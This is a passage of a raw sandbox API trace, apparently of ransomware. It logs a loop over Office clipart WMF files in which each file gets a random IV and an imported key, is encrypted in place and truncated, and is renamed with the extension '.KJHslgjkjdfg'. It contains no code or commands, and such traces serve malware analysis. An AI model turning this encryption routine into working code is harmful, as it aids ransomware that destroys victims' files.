CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.146] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.146] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.148] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.148] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.148] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.149] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.149] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.149] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.149] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.149] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.149] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ba0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1ba0, lpOverlapped=0x0) returned 1 [0173.150] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ba0, dwBufLen=0x1ba0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ba0) returned 1 [0173.150] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.150] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ba0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ba0, lpOverlapped=0x0) returned 1 [0173.150] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.150] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.150] SetEndOfFile (hFile=0x114) returned 1 [0173.152] GetProcessHeap () returned 0x2a0000 [0173.152] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.152] GetProcessHeap () returned 0x2a0000 [0173.152] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.kjhslgjkjdfg")) returned 1 [0173.153] CloseHandle (hObject=0x114) returned 1 [0173.153] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107708.WMF", cAlternateFileName="")) returned 1 [0173.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.154] GetProcessHeap () returned 0x2a0000 [0173.154] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.154] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.154] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.155] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.157] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.157] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.157] GetProcessHeap () returned 0x2a0000 [0173.157] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.157] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.157] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.157] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.157] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.157] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.157] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.157] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.157] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.157] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.158] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.158] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x12c8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x12c8, lpOverlapped=0x0) returned 1 [0173.158] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12d0, dwBufLen=0x12d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12d0) returned 1 [0173.159] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.159] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x12d0, lpOverlapped=0x0) returned 1 [0173.159] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.159] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x13a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.159] SetEndOfFile (hFile=0x114) returned 1 [0173.162] GetProcessHeap () returned 0x2a0000 [0173.162] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.162] GetProcessHeap () returned 0x2a0000 [0173.162] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.162] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.kjhslgjkjdfg")) returned 1 [0173.163] CloseHandle (hObject=0x114) returned 1 [0173.163] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107712.WMF", cAlternateFileName="")) returned 1 [0173.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.164] GetProcessHeap () returned 0x2a0000 [0173.164] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.164] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.164] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.164] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.168] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.168] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.168] GetProcessHeap () returned 0x2a0000 [0173.168] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.169] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.169] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.169] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.169] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.169] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.169] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.169] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.169] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.169] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.169] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.169] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.169] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x121c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x121c, lpOverlapped=0x0) returned 1 [0173.170] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1220, dwBufLen=0x1220 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1220) returned 1 [0173.170] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.170] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1220, lpOverlapped=0x0) returned 1 [0173.170] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.171] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x12f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.171] SetEndOfFile (hFile=0x114) returned 1 [0173.173] GetProcessHeap () returned 0x2a0000 [0173.173] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.173] GetProcessHeap () returned 0x2a0000 [0173.173] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.kjhslgjkjdfg")) returned 1 [0173.174] CloseHandle (hObject=0x114) returned 1 [0173.174] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107718.WMF", cAlternateFileName="")) returned 1 [0173.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.175] GetProcessHeap () returned 0x2a0000 [0173.175] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.175] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.175] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.175] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.178] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.178] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.178] GetProcessHeap () returned 0x2a0000 [0173.178] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.178] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.178] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.178] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.179] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.179] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.179] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.179] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.179] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.179] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.179] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xed8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xed8, lpOverlapped=0x0) returned 1 [0173.179] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xee0, dwBufLen=0xee0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xee0) returned 1 [0173.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.179] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xee0, lpOverlapped=0x0) returned 1 [0173.179] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.179] SetEndOfFile (hFile=0x114) returned 1 [0173.182] GetProcessHeap () returned 0x2a0000 [0173.182] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.182] GetProcessHeap () returned 0x2a0000 [0173.182] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.kjhslgjkjdfg")) returned 1 [0173.183] CloseHandle (hObject=0x114) returned 1 [0173.183] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2044, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107722.WMF", cAlternateFileName="")) returned 1 [0173.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.185] GetProcessHeap () returned 0x2a0000 [0173.185] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.185] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.185] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.185] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.187] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.187] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.188] GetProcessHeap () returned 0x2a0000 [0173.188] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.188] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.188] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.188] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.188] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.188] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.188] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.188] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.188] WriteFile (in: hFile=0x114, 